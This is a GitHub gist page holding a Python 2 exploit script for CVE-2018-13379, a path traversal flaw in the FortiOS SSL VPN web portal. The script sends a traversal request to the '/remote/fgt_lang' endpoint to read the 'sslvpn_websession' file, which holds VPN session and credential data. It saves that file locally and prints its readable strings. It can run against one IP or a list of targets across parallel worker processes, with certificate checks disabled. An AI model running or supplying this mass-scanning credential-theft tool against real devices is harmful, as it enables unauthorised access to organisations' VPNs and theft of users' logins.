Skip to content

Instantly share code, notes, and snippets.

@code-machina
Last active May 29, 2023 03:33
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save code-machina/bae5555a771062f2a8225fd4731ae3f7 to your computer and use it in GitHub Desktop.
Save code-machina/bae5555a771062f2a8225fd4731ae3f7 to your computer and use it in GitHub Desktop.
CVE-2018-13379 : A path traversal vulnerability in the FortiOS SSL VPN web portal
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
img=r.raw.read()
if "var fgt_lang =" in str(img):
with open("sslvpn_websession_"+ip+".dat", 'w') as f:
f.write(img)
parseFile(ip)
print "\n"
return True
else:
return False
except requests.exceptions.ConnectionError:
return False
def read_bytes(filename, chunksize=8192):
try:
with open(filename, "rb") as f:
while True:
chunk = f.read(chunksize)
if chunk:
for b in chunk:
yield b
else:
break
except IOError:
pass
def is_character_printable(s):
return all((ord(c) < 127) and (ord(c) >= 32) for c in s)
def validate_byte_as_printable(byte):
if is_character_printable(byte):
return byte
else:
return '.'
def parseFile(ip):
print "[Checking: "+ip+"]"
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
print "[*} Web session at: "+url
filename="sslvpn_websession_"+ip+".dat"
memory_address = 0
ascii_string = ""
for byte in read_bytes(filename):
ascii_string = ascii_string + validate_byte_as_printable(byte)
if memory_address%61 == 60:
if ascii_string!=".............................................................":
print ascii_string
ascii_string = ""
memory_address = memory_address + 1
parser = optparse.OptionParser()
parser.add_option('-f', action="store", dest="filename")
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-n', action="store", dest="numOfThreads")
options, remainder = parser.parse_args()
numOfThreads=10
ipList=[]
if options.ip:
ipList.append(options.ip)
if options.filename:
with open(options.filename) as f:
ipList = f.read().splitlines()
if options.numOfThreads:
numOfThreads=int(options.numOfThreads)
ipList = filter(None, ipList)
p = multiprocessing.Pool(processes=numOfThreads)
p.map(checkIP,ipList)
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment